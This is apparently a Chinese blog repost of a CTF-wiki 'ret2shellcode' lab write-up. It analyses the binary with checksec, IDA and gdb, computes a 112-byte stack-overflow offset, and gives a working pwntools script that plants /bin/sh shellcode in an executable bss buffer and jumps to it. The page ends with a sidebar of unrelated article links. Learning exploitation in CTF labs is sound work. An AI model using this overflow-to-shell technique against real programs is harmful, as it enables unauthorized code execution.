当前位置:网站首页>跟着CTF-wiki学pwn——ret2shellcode
跟着CTF-wiki学pwn——ret2shellcode
2022-07-02 03:04:00 【大瑞大】
链接: 配置工具,gdb,ida
ret2shellcode题解
checksec查看:
no canary=可以简单栈溢出
NX disabled = 将shellcode放在数据段,即可执行
ida查看:
可以输入100个字节,复制到buf2,不能够溢出
原来buf2在bss段,
bss段:一般指程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域,特点是可读写,在程序执行之前,bss段清0
是不是可以执行呢
gdb调试:
gdb ret2shellcode
disas main
b main
r
vmmap

可以看到0804A080这个地址在上面选中的这个区域内,显示rwxp即可读写的权限。
lea eax,[esp+0x1c]
mov DWORD PTR [esp], eax
# 可以知道字符串起始地址相较于esp为+0x1c
所以距离ebp地址为0x88-0x1c = 0x6C
那么覆盖到返回地址就是:
+-----------------+
| /bin/sh | 原ret返回位置
+-----------------+
| holk | 原saved ebp位置(4字节)
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s起始,ebp-0x6C-->+-----------------+
0x6C+4 = 112(十进制)个字节。
知道了溢出字符数了,接下来找system(/bin/sh)
栈溢出题目,有了溢出字符量,有了system(/bin/sh) 即为完成题目,可惜木有…
可以自己构造shellcode【system(/bin/sh)】
shellcode = asm(shellcraft.sh())
构造payload
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
边栏推荐
- How to develop digital collections? How to develop your own digital collections
- Stdref and stdcref
- Which brand of sports headset is better? Bluetooth headset suitable for sports
- What is the principle of bone conduction earphones and who is suitable for bone conduction earphones
- Special symbols in SAP ui5 data binding syntax, and detailed explanation of absolute binding and relative binding concepts
- What are the characteristics of common web proxy IP
- STM32__05—PWM控制直流电机
- Is bone conduction earphone better than traditional earphones? The sound production principle of bone conduction earphones is popular science
- [learn C and fly] 3day Chapter 2 program in C language (exercise 2.3 calculate piecewise functions)
- 设置状态栏颜色
猜你喜欢

Après le mariage

连通块模板及变式(共4题)
![Find duplicates [Abstract binary / fast and slow pointer / binary enumeration]](/img/9b/3c001c3b86ca3f8622daa7f7687cdb.png)
Find duplicates [Abstract binary / fast and slow pointer / binary enumeration]

2022-2028 global wood vacuum coating machine industry research and trend analysis report

2022-2028 global aluminum beverage can coating industry research and trend analysis report

New programmer magazine | Li Penghui talks about open source cloud native message flow system

Addition without addition, subtraction, multiplication and division (simple difficulty)

Tupu software has passed CMMI5 certification| High authority and high-level certification in the international software field

MongoDB非关系型数据库

高并发场景下缓存处理方案
随机推荐
How to develop digital collections? How to develop your own digital collections
GB/T-2423. XX environmental test documents, including the latest documents
About DNS
流线线使用阻塞还是非阻塞
2022 safety officer-c certificate examination questions and mock examination
Coordinatorlayout + tablayout + viewpager2 (there is another recyclerview nested inside), and the sliding conflict of recyclerview is solved
After marriage
Use usedeferredvalue for asynchronous rendering
Face++ realizes face detection in the way of flow
What are the characteristics of common web proxy IP
Leetcode question brushing (10) - sequential question brushing 46 to 50
Yyds dry goods inventory accelerating vacuum in PG
PMP personal sprint preparation experience
[learn C and fly] 2day Chapter 8 pointer (practice 8.1 password unlocking)
verilog 并行块实现
Which brand of running headphones is good? How many professional running headphones are recommended
Set status bar color
Tupu software has passed CMMI5 certification| High authority and high-level certification in the international software field
[staff] restore mark (Introduction to the use of restore mark | example analysis of Metaphone mark and restore mark)
MongoDB非關系型數據庫